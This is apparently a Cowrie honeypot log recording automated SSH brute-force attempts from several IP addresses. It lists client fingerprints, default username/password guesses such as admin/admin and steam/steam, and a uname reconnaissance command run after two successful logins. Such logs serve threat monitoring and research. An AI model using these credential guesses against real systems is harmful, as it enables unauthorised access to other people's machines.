{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:17.469057Z","src_ip":"43.163.119.215","session":"011ebdad7610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:17.715631Z","src_ip":"43.163.119.215","session":"011ebdad7610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:18.461567Z","src_ip":"43.163.119.215","session":"011ebdad7610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:19.712465Z","src_ip":"43.163.119.215","session":"011ebdad7610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54410,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc5bbb14d12","protocol":"ssh","message":"New connection: 103.75.199.4:54410 (159.203.135.109:22) [session: afc5bbb14d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:21.792654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:21.797810Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:21.893974Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:22.182128Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:22.413969Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:22.417241Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:22.517385Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:22.521534Z","src_ip":"103.75.199.4","session":"afc5bbb14d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":53966,"dst_ip":"10.17.0.5","dst_port":22,"session":"632754485f48","protocol":"ssh","message":"New connection: 101.109.219.135:53966 (10.17.0.5:22) [session: 632754485f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:29.399424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:29.404383Z","src_ip":"101.109.219.135","session":"632754485f48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:29.660675Z","src_ip":"101.109.219.135","session":"632754485f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:30.717696Z","src_ip":"101.109.219.135","session":"632754485f48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:31.977452Z","src_ip":"101.109.219.135","session":"632754485f48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":37440,"dst_ip":"10.17.0.5","dst_port":22,"session":"788ded61dbde","protocol":"ssh","message":"New connection: 163.7.9.84:37440 (10.17.0.5:22) [session: 788ded61dbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:32.837010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:32.845637Z","src_ip":"163.7.9.84","session":"788ded61dbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:33.097161Z","src_ip":"163.7.9.84","session":"788ded61dbde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyager","message":"login attempt [root/voyager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:34.136364Z","src_ip":"163.7.9.84","session":"788ded61dbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:35.390993Z","src_ip":"163.7.9.84","session":"788ded61dbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":57250,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1972414d2a","protocol":"ssh","message":"New connection: 43.153.46.75:57250 (159.203.135.109:22) [session: 4c1972414d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:36.759160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:36.764497Z","src_ip":"43.153.46.75","session":"4c1972414d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:36.832520Z","src_ip":"43.153.46.75","session":"4c1972414d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NM1$88","message":"login attempt [root/NM1$88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:37.138834Z","src_ip":"43.153.46.75","session":"4c1972414d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:38.210989Z","src_ip":"43.153.46.75","session":"4c1972414d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":36008,"dst_ip":"159.203.135.109","dst_port":22,"session":"10419d86af66","protocol":"ssh","message":"New connection: 202.29.225.206:36008 (159.203.135.109:22) [session: 10419d86af66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:41.906303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:41.910235Z","src_ip":"202.29.225.206","session":"10419d86af66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:42.157150Z","src_ip":"202.29.225.206","session":"10419d86af66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:43.161932Z","src_ip":"202.29.225.206","session":"10419d86af66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53516,"dst_ip":"159.203.135.109","dst_port":22,"session":"8229a095d5be","protocol":"ssh","message":"New connection: 103.75.199.4:53516 (159.203.135.109:22) [session: 8229a095d5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:43.704364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:43.709201Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:43.802761Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.082675Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.404776Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.408465Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.417318Z","src_ip":"202.29.225.206","session":"10419d86af66","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.504408Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.509449Z","src_ip":"103.75.199.4","session":"8229a095d5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":38462,"dst_ip":"159.203.135.109","dst_port":22,"session":"06f33e0334d7","protocol":"ssh","message":"New connection: 154.83.196.237:38462 (159.203.135.109:22) [session: 06f33e0334d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.678612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.684140Z","src_ip":"154.83.196.237","session":"06f33e0334d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:44.804852Z","src_ip":"154.83.196.237","session":"06f33e0334d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hrh","message":"login attempt [root/hrh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:45.321550Z","src_ip":"154.83.196.237","session":"06f33e0334d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.176.168.136","src_port":41000,"dst_ip":"159.203.135.109","dst_port":23,"session":"4410cdb154c1","protocol":"telnet","message":"New connection: 189.176.168.136:41000 (159.203.135.109:23) [session: 4410cdb154c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:46.105064Z"}
